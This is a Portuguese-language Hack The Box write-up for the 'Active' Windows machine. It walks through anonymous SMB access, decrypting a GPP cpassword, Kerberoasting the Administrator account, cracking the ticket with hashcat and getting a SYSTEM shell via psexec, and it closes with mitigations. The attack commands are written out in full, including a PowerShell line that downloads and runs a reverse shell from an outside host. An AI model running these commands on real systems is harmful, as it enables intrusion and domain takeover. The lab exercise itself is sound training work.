0xEtern4lW0lf
Hack The BoxEasyWindows

Active

6 min de leitura
#Active Directory#GPP#Kerberoasting#SMB

Introdução

Active é uma máquina Windows de dificuldade Easy da plataforma Hack The Box, centrada em falhas clássicas e extremamente comuns em ambientes Active Directory. O IP alvo utilizado durante o teste foi 10.10.10.100. O caminho de exploração passa por um compartilhamento SMB anônimo onde fica exposto um arquivo Groups.xml de uma Group Policy Preference (GPP) contendo uma senha criptografada (cpassword). Como a chave AES usada pela Microsoft para essa criptografia foi publicada publicamente, a senha pode ser decifrada trivialmente. Com essa credencial de baixo privilégio em mãos, é possível realizar um ataque de Kerberoasting contra a conta Administrator, obter o hash do ticket de serviço, quebrá-lo offline e assumir o controle total do domínio.

Escaneamento

O primeiro passo foi um escaneamento completo de portas com nmap, seguido de detecção de serviços e versões nas portas encontradas:

ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.100 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -p $ports 10.10.10.100

O escaneamento revelou portas típicas de um Domain Controller Windows: DNS (53), Kerberos (88), RPC (135), NetBIOS/SMB (139/445), LDAP (389/3268), kpasswd (464), entre outras. O nome de domínio active.htb também foi identificado, e foi adicionado ao /etc/hosts para resolução correta durante o restante do teste.

Enumeração

SMB - TCP 139/445

Com o domínio confirmado, o próximo passo foi enumerar os compartilhamentos SMB expostos, usando smbclient de forma anônima (sem credenciais):

smbclient -N -L //10.10.10.100

O compartilhamento Replication chamou atenção por estar acessível sem autenticação. Ao navegar por ele:

smbclient -N //10.10.10.100/replication

Dentro da estrutura de diretórios, o arquivo mais interessante encontrado foi:

  • /active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml O conteúdo do arquivo trazia um nome de usuário e uma senha criptografada:
userName="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

Isso é a assinatura clássica de uma falha em Group Policy Preferences (GPP), detalhada mais adiante na seção de exploração.

Exploração

GPP cpassword (CVE-2014-1812)

Sempre que uma Group Policy Preference é criada, o Windows gera um arquivo XML no compartilhamento SYSVOL contendo os dados de configuração daquela política — incluindo eventuais senhas associadas, como as usadas para criar contas locais ou mapear drives. Por questões de “segurança”, a Microsoft criptografava essa senha com AES antes de salvá-la no campo cpassword. O problema é que a chave AES estática usada nesse processo foi documentada publicamente pela própria Microsoft na MSDN, o que torna a criptografia completamente reversível por qualquer pessoa que tenha acesso ao arquivo. A Microsoft lançou uma correção em 2014 (associada à CVE-2014-1812) que impede a criação de novas senhas em GPP, mas isso não afeta arquivos GPP antigos que já existiam antes da atualização — e é exatamente esse tipo de resíduo que foi encontrado no compartilhamento Replication, acessível anonimamente. Como a chave é pública, a senha pôde ser decifrada diretamente com a ferramenta gpp-decrypt, presente por padrão no Kali Linux:

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

O resultado revelou a senha em texto claro do usuário active.htb\SVC_TGS: GPPstillStandingStrong2k18.

Acesso com as credenciais do SVC_TGS

Com usuário e senha válidos, a enumeração do SMB foi refeita, agora autenticada:

smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18

Agora com acesso a três compartilhamentos adicionais: NETLOGON, SYSVOL e Users. Explorando o compartilhamento Users:

smbclient //10.10.10.100/Users -U "active.htb\SVC_TGS%GPPstillStandingStrong2k18"

O compartilhamento Users corresponde ao diretório C:\Users da máquina. Dentro de /SVC_TGS/Desktop/ foi possível obter a flag user.txt.

Kerberoasting

Com uma conta de domínio válida em mãos, o passo seguinte foi realizar um ataque de Kerberoasting: solicitar tickets de serviço (TGS) para contas com Service Principal Name (SPN) registrado e tentar quebrar offline o hash desses tickets, que são cifrados com o hash da senha da conta de serviço associada. Diferente de um AS-REP Roasting, esse ataque exige credenciais válidas de domínio (que já tínhamos, graças ao GPP). Usando o Impacket, foi possível listar as contas com SPN associado e já salvar o ticket para quebra offline:

impacket-GetUserSPNs -request -dc-ip 10.10.10.100 active.htb/SVC_TGS -save -outputfile GetUserSPNs.out

O comando identificou a conta Administrator como possuidora de um SPN (active/CIFS:445), e gravou o ticket TGS correspondente no arquivo de saída:

cat GetUserSPNs.out

Com o hash do ticket em mãos, a quebra foi feita offline com hashcat, usando a wordlist rockyou.txt:

hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt --force

O hashcat quebrou o hash com sucesso, revelando a senha da conta Administrator: Ticketmaster1968.

Pós-exploração

Com credenciais administrativas de domínio, o acesso completo foi obtido via psexec do Impacket, que faz upload de um serviço para a máquina alvo e retorna um shell interativo com privilégios de SYSTEM:

impacket-psexec active.htb/administrator@10.10.10.100
# senha: Ticketmaster1968

Com o shell como NT AUTHORITY\SYSTEM, o acesso à máquina estava completo, permitindo a leitura da flag root.txt no desktop do Administrator e o comprometimento total do domínio active.htb. Como alternativa para obter um shell mais interativo, também foi possível fazer o download e execução de um shell reverso em PowerShell diretamente em memória:

powershell -c iex(new-object system.net.webclient).downloadstring('http://10.10.14.11/powercat.ps1')

Anexos

Ferramentas e scripts utilizados ao longo do teste:

  • nmap — varredura de portas e detecção de serviços/versões
  • smbclient e smbmap — enumeração e acesso a compartilhamentos SMB
  • gpp-decrypt — decriptação de senhas GPP usando a chave AES pública da Microsoft
  • Impacket GetUserSPNs.py (impacket-GetUserSPNs) — enumeração de contas com SPN e extração de tickets TGS para Kerberoasting
  • hashcat (modo 13100, Kerberos 5 TGS-REP etype 23) — quebra offline do hash do ticket Kerberos
  • Impacket psexec.py (impacket-psexec) — execução remota de comandos/shell via SMB com credenciais administrativas
  • powercat.ps1 — shell reverso em PowerShell usado como alternativa de acesso interativo

Mitigação

  • Remover senhas de GPP legadas: qualquer Groups.xml ou outro arquivo de preferência de política que ainda contenha o atributo cpassword deve ser localizado no SYSVOL e removido. A correção da Microsoft (MS14-025 / CVE-2014-1812) apenas impede a criação de novas senhas em GPP, não remove as já existentes.
  • Nunca usar GPP para distribuir credenciais: a chave AES usada para “criptografar” o campo cpassword é pública, portanto qualquer usuário com leitura no SYSVOL pode decifrar a senha. Contas de serviço e senhas locais devem ser provisionadas por outros meios (LAPS, gMSA, cofres de credenciais).
  • Restringir acesso anônimo a compartilhamentos SMB: o compartilhamento Replication estava acessível sem autenticação. Null sessions e acesso anônimo a shares devem ser desabilitados, e permissões de compartilhamento revisadas periodicamente.
  • Reduzir a superfície de Kerberoasting: contas de serviço com SPN configurado devem usar senhas longas, aleatórias e trocadas periodicamente (idealmente via Group Managed Service Accounts — gMSA), tornando a quebra offline do hash TGS inviável.
  • Monitorar solicitações de tickets de serviço: implementar detecção para volumes anômalos de requisições TGS (Event ID 4769) por uma única conta em curto intervalo, característico de ataques de Kerberoasting.
  • Aplicar o princípio do menor privilégio: a conta comprometida (SVC_TGS) não deveria ter path de escalonamento direto até privilégios que permitissem Kerberoasting bem-sucedido contra o Administrator; revisar delegações e memberships de grupos sensíveis como “Group Policy Creator Owners”.